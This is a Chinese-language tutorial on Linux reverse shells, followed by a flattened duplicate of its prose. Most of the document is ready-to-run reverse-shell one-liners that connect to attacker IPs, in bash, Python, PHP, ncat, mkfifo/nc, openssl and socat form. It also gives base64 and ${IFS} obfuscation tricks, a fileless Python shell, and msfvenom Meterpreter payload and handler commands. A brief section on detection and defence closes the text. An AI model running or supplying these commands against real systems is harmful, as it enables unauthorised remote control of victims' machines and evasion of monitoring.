Linux系统下反弹shell的理解
字数 1300 2025-08-20 18:17:53

Linux系统下反弹Shell技术详解

0x00 反弹Shell定义

反弹Shell是指受害者机器主动向攻击者发起连接,使攻击者能够向受害者下发命令并获取命令执行结果的技术手段。常见触发原因包括:

  • 运行了远控木马(如钓鱼邮件附件)
  • 存在RCE(远程代码执行)漏洞

0x01 反弹Shell本质

反弹Shell由三个核心组件构成:

  1. 网络通信:可使用TCP/UDP/ICMP等协议
    • TCP细分包含HTTP/HTTPS
    • UDP包含DNS等
  2. 命令执行:通过以下方式实现
    • 调用shell解释器
    • 使用glibc库
    • 直接系统调用(Syscall)
  3. 重定向机制
    • 管道
    • 伪终端
    • 内存文件

0x02 攻击手法分类

初级手法 - 直接重定向

1. Bash直接重定向

sh -i >& /dev/tcp/172.16.0.104/1234 0>&1
  • 0: 标准输入
  • 1: 标准输出
  • 2: 标准错误
  • >&: 合并标准输出和错误输出
  • /dev/tty: 终端设备
  • /dev/pty: 虚拟终端

数据流图示:

[攻击者] <--TCP连接--> [/dev/tcp] <--重定向--> [sh进程]

其他Shell实现

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.11.6",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
php -r '$sock=fsockopen("10.0.11.6",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

中级手法 - 混淆与中转

1. 命令混淆技术

  • Base64编码:
echo "sh -i >& /dev/tcp/172.16.0.104/1234 0>&1"|base64
{echo,c2ggLWkgPiYgL2Rldi90Y3AvMTcyLjE2LjAuMTA0LzEyMzQgMD4mMQo=}|{base64,-d}|{bash,-i}
  • 使用${IFS}代替空格:
/bin/bash -c bash${IFS}-i${IFS}>& 172.16.0.104/1234<&1

2. 流量加密

mkfifo /tmp/f; /bin/sh -i < /tmp/f 2>&1 | openssl s_client -quiet -connect 172.16.0.104:1234 > /tmp/f

3. 管道中转技术

Ncat方式

ncat 10.0.11.6 1234 -e /bin/bash

mkfifo方式

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 172.16.0.104 1234 > /tmp/f
  • 创建命名管道/tmp/f
  • cat将管道内容传递给/bin/bash
  • bash执行结果通过nc传回管道形成回路

mknod方式

mknod backpipe p; nc 10.0.11.6 1234 0<backpipe | /bin/bash 1>backpipe 2>backpipe

高级手法 - 隐蔽通信

1. 流量伪装

  • ICMP协议:icmpdoor、icmpsh
  • DNS协议:Reverse_DNS_Shell

2. 编程语言处理标准输入(无文件落地)

python3 -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('10.0.11.6',1234))\nwhile 1:  proc = subprocess.Popen(s.recv(1024), stdout=subprocess.PIPE, stderr=subprocess.PIPE,shell=True);s.send(proc.stdout.read()+proc.stderr.read())\")"

特点:

  • 每次执行命令启动新shell进程
  • 执行后立即关闭shell
  • 标准输入由代码处理

3. 伪终端(pty)技术

socat方式

# 反弹命令
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.11.6:1234

# 监听命令
socat file:`tty`,raw,echo=0 tcp-listen:1234

Python pty方式

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.11.6",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

4. 非交互式Shell - 远控木马

MSF Meterpreter

# 生成payload
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.0.11.6 LPORT=1234 -f elf -o /tmp/exp

# 控制端设置
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 10.0.11.6
set LPORT 1234
run

自定义Shell实现

  • 不依赖系统自带shell
  • 通过编程语言实现命令功能
  • 示例Python实现ls功能:
ls_shellcode = '''
import os
dst_path = '{dst_path}'
dirs = os.listdir(dst_path)
for file in dirs:
    print(file)
'''
exec(ls_shellcode.format(dst_path = "C:/"))

0x03 检测与防御建议

检测方法

  1. 监控异常网络连接
    • 检查到外部IP的异常TCP/UDP/ICMP连接
  2. 分析进程链
    • 查找包含管道(|)或重定向(><)的异常进程
  3. 检查文件描述符
    • 查找将标准输入输出重定向到socket的进程
  4. 监控伪终端使用
    • 检查/dev/ptmx的异常访问

防御建议

  1. 网络层防护
    • 限制出站连接(防火墙规则)
    • 监控异常协议流量(如ICMP、DNS隧道)
  2. 系统层防护
    • 限制敏感命令执行权限
    • 禁用不必要的解释器(如python的eval功能)
  3. 应用层防护
    • 及时修补RCE漏洞
    • 加强输入验证
  4. 监控措施
    • 实施进程行为监控
    • 建立基线,检测偏离正常行为的活动

0x04 总结

反弹Shell技术从简单到复杂可分为三个级别:

  1. 初级:直接重定向标准I/O到网络套接字
  2. 中级:引入命令混淆、流量加密和管道中转
  3. 高级:使用流量伪装、编程语言处理和伪终端技术

防御方需要从网络、系统和应用多个层面建立纵深防御体系,同时加强监控和异常行为检测能力。攻击技术的演进也促使防御技术不断升级,形成良性的安全对抗循环。

Linux系统下反弹Shell技术详解 0x00 反弹Shell定义 反弹Shell是指受害者机器主动向攻击者发起连接,使攻击者能够向受害者下发命令并获取命令执行结果的技术手段。常见触发原因包括: 运行了远控木马(如钓鱼邮件附件) 存在RCE(远程代码执行)漏洞 0x01 反弹Shell本质 反弹Shell由三个核心组件构成: 网络通信 :可使用TCP/UDP/ICMP等协议 TCP细分包含HTTP/HTTPS UDP包含DNS等 命令执行 :通过以下方式实现 调用shell解释器 使用glibc库 直接系统调用(Syscall) 重定向机制 : 管道 伪终端 内存文件 0x02 攻击手法分类 初级手法 - 直接重定向 1. Bash直接重定向 0 : 标准输入 1 : 标准输出 2 : 标准错误 >& : 合并标准输出和错误输出 /dev/tty : 终端设备 /dev/pty : 虚拟终端 数据流图示: 其他Shell实现 中级手法 - 混淆与中转 1. 命令混淆技术 Base64编码: 使用 ${IFS} 代替空格: 2. 流量加密 3. 管道中转技术 Ncat方式 : mkfifo方式 : 创建命名管道 /tmp/f cat 将管道内容传递给 /bin/bash bash执行结果通过nc传回管道形成回路 mknod方式 : 高级手法 - 隐蔽通信 1. 流量伪装 ICMP协议:icmpdoor、icmpsh DNS协议:Reverse_ DNS_ Shell 2. 编程语言处理标准输入(无文件落地) 特点: 每次执行命令启动新shell进程 执行后立即关闭shell 标准输入由代码处理 3. 伪终端(pty)技术 socat方式 : Python pty方式 : 4. 非交互式Shell - 远控木马 MSF Meterpreter : 自定义Shell实现 : 不依赖系统自带shell 通过编程语言实现命令功能 示例Python实现ls功能: 0x03 检测与防御建议 检测方法 : 监控异常网络连接 检查到外部IP的异常TCP/UDP/ICMP连接 分析进程链 查找包含管道(|)或重定向(> <)的异常进程 检查文件描述符 查找将标准输入输出重定向到socket的进程 监控伪终端使用 检查/dev/ptmx的异常访问 防御建议 : 网络层防护 限制出站连接(防火墙规则) 监控异常协议流量(如ICMP、DNS隧道) 系统层防护 限制敏感命令执行权限 禁用不必要的解释器(如python的eval功能) 应用层防护 及时修补RCE漏洞 加强输入验证 监控措施 实施进程行为监控 建立基线,检测偏离正常行为的活动 0x04 总结 反弹Shell技术从简单到复杂可分为三个级别: 初级 :直接重定向标准I/O到网络套接字 中级 :引入命令混淆、流量加密和管道中转 高级 :使用流量伪装、编程语言处理和伪终端技术 防御方需要从网络、系统和应用多个层面建立纵深防御体系,同时加强监控和异常行为检测能力。攻击技术的演进也促使防御技术不断升级,形成良性的安全对抗循环。